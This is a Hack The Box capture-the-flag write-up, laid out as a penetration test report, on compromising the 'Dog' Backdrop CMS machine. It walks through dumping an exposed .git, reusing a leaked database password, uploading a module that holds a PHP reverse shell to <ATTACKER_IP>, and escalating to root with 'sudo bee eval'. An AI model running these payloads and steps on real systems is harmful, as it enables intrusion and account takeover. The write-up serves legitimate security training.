HACK THE BOX · PENETRATION TEST REPORT



DOG

An Exposed .git to Root — One Password, Three Doors

★ ☆ ☆ ☆ EASY

7	1	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Service Discovery

03 Dumping the Exposed Git Repository

04 Credentials from settings.php

05 Admin Login via Credential Reuse

06 Remote Code Execution through a Malicious Module

07 User Flag — Lateral Move by Password Reuse

08 Root via sudo bee

09 Chain Summary and Conclusions

01

Executive Summary

Dog is an Easy-rated Linux machine whose foothold is an exposed `.git` directory that reconstructs the entire document root — Backdrop CMS — and hands over a database password in clear text. That single password opens three doors in turn: the CMS admin panel, a system user via `su`, and full `sudo`. From the admin panel, a malicious Backdrop module gives code execution, and a `sudo`-runnable Backdrop CLI with a PHP-eval subcommand completes the path to root.

Attack chain overview

1. Reconnaissance: Backdrop CMS and an exposed `.git` repository.
2. `git-dumper` reconstructs the source; `settings.php` leaks the DB password.
3. The database password is reused for the CMS admin account.
4. An admin-installable module (PHP) gives RCE as `www-data` (CVE-2026-38526).
5. The same password `su`s to a local system user — user flag captured.
6. `sudo bee eval` runs arbitrary PHP as root — root flag captured.

02

Reconnaissance and Service Discovery

```
nmap -p- --min-rate 5000 -T4 -Pn -n <TARGET_IP> -oN nmap_allports.txt
nmap -p22,80 -sCV -Pn -n <TARGET_IP> -oN nmap_targeted.txt
```

```
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git:
|   <TARGET_IP>:80/.git/
|     Git repository found!
```

● Key observation

Two gifts in one scan: the site runs **Backdrop CMS** (a Drupal 7 fork, admin-installable modules are PHP), and an exposed `.git` repository. A checked-out `.git` reconstructs the entire document root, configuration included — and database passwords are very often reused for the application's admin account or a system user.

03

Dumping the Exposed Git Repository

Confirm the `.git` is readable, then dump it:

```
curl -s http://<TARGET_IP>/.git/config
```

```
[core]
        repositoryformatversion = 0
        bare = false
```

```
pipx install git-dumper
git-dumper http://<TARGET_IP>/.git/ ~/dog_git
```

04

Credentials from settings.php

```
cat ~/dog_git/settings.php | grep -i -A5 "database"
```

```
$database = 'mysql://root:<REDACTED>@127.0.0.1/backdrop';
```

A clear-text database password. Harvest e-mail addresses from the dumped tree for a username to pair it with:

```
grep -ri "@" ~/dog_git/ --include="*.json" --include="*.md" -h \
  | grep -oE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | sort -u
```

```
tiffany@dog.htb        <- the only address on the machine's own domain
info@backdropcms.org   (upstream developers)
...
```

05

Admin Login via Credential Reuse

Add the vhost, then log in from the terminal keeping the session cookie (Backdrop's fields are `name`, `pass`, `form_id=user_login`):

```
echo "<TARGET_IP> dog.htb" | sudo tee -a /etc/hosts
curl -s -c /tmp/dog_cookies.txt -X POST \
  -d "name=tiffany&pass=<REDACTED>&form_id=user_login" \
  http://dog.htb/?q=user/login -i | head -20
```

```
HTTP/1.1 302 Found
Set-Cookie: SESS...=...; path=/
Location: http://dog.htb/?q=admin/dashboard
```

The 302 to `admin/dashboard` confirms an administrator session — the DB password was reused for the CMS admin.

06

Remote Code Execution through a Malicious Module

Backdrop lets an admin install a module from an uploaded archive, and modules execute PHP. The upload form is at `admin/installer/manual`:

```
curl -s -b /tmp/dog_cookies.txt "http://dog.htb/?q=admin/installer/manual" -o /tmp/manual.html
grep -oE 'name="[^"]*"' /tmp/manual.html | sort -u
# name="files[project_upload]"  name="form_token"  ...
```

⚠ Vulnerability confirmed

The module installer accepts an attacker-built archive containing a `.info` manifest and a PHP payload, with no restriction on the embedded code — **CVE-2026-38526**. An admin on a PHP CMS is therefore RCE: the module is code, and the admin panel is the shell.

Build the module, start a listener, and upload it with a fresh CSRF token:

```
mkdir -p /tmp/selmod/selmod
printf 'type = module\nname = SelMod\nversion = 1.x-1.0\nbackdrop = 1.x\n' > /tmp/selmod/selmod/selmod.info
printf '<?php $s=fsockopen("<ATTACKER_IP>",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);' > /tmp/selmod/selmod/shell.php
cd /tmp/selmod && tar -czf /tmp/selmod.tar.gz selmod
nc -lvnp 4444

curl -s -b /tmp/dog_cookies.txt -X POST "http://dog.htb/?q=admin/installer/manual" \
  -F "files[project_upload]=@/tmp/selmod.tar.gz" \
  -F "form_build_id=<id>" -F "form_token=<token>" \
  -F "form_id=installer_manager_install_form" -F "op=Install" -i | grep -iE "^HTTP|^Location"
```

⚠ Pitfall

The install runs as a JavaScript-driven batch that stalls at `0% – Preparing to install` under `curl`, and the page's word "error" is only the fallback JS message. Drive the batch stages by hand (`op=start`, `op=do_nojs`, `op=finished`) to finish the install. The module lands in `/var/www/html/modules/selmod/` and the reverse shell returns:

```
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>]
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

07

User Flag — Lateral Move by Password Reuse

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat /etc/passwd | grep -E "sh$"
```

```
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
```

The database password is reused a third time:

```
su johncusack        # password: <REDACTED>
cat /home/johncusack/user.txt
```

USER FLAG

<REDACTED>

08

Root via sudo bee

```
sudo -l
```

```
User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
```

⚠ Vulnerability confirmed

`bee` is Backdrop's official CLI (the Drupal-drush equivalent) and, like all such tools, has a subcommand that runs arbitrary PHP: `eval`. Runnable as root via `sudo`, it is a direct root shell — the only constraint is that `bee` must bootstrap a Backdrop site, so it runs from the docroot.

```
cd /var/www/html && sudo /usr/local/bin/bee eval 'system("/bin/bash");'
id        # uid=0(root)
cat /root/root.txt
```

ROOT FLAG

<REDACTED>

09

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap + http-git	Backdrop CMS, exposed `.git`
2	Source disclosure	`git-dumper` → `settings.php`	DB password in clear text
3	Initial access	Credential reuse	CMS admin session
4	Application RCE	Malicious module (CVE-2026-38526)	Shell as `www-data`
5	Lateral movement	Password reuse → `su`	User flag
6	Privilege escalation	`sudo bee eval`	Root flag

Closing thoughts

Dog is a straight line drawn by one leaked secret. Git history is not a delete button, and a database password committed to a public repo opened the CMS, a system account and `sudo` in turn. The lesson is credential reuse: a found secret should be tested against every account and service, and a site-management CLI runnable under `sudo` is almost always a code-execution primitive.

Key takeaways

- An exposed `.git` is a full source leak; dumping it reconstructed the docroot and handed over the DB password.
- One password, three doors — always test a found secret against every account and service.

- Admin on a PHP CMS is RCE; Backdrop's module installer accepts attacker code.
- A JavaScript-driven batch sometimes stalls over `curl`; replaying the `op=` stages by hand finishes it.
- A management CLI under `sudo` (`bee`, `drush`, `php`, `gdb`) almost always exposes an `eval`/`exec` subcommand — check GTFOBins first.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.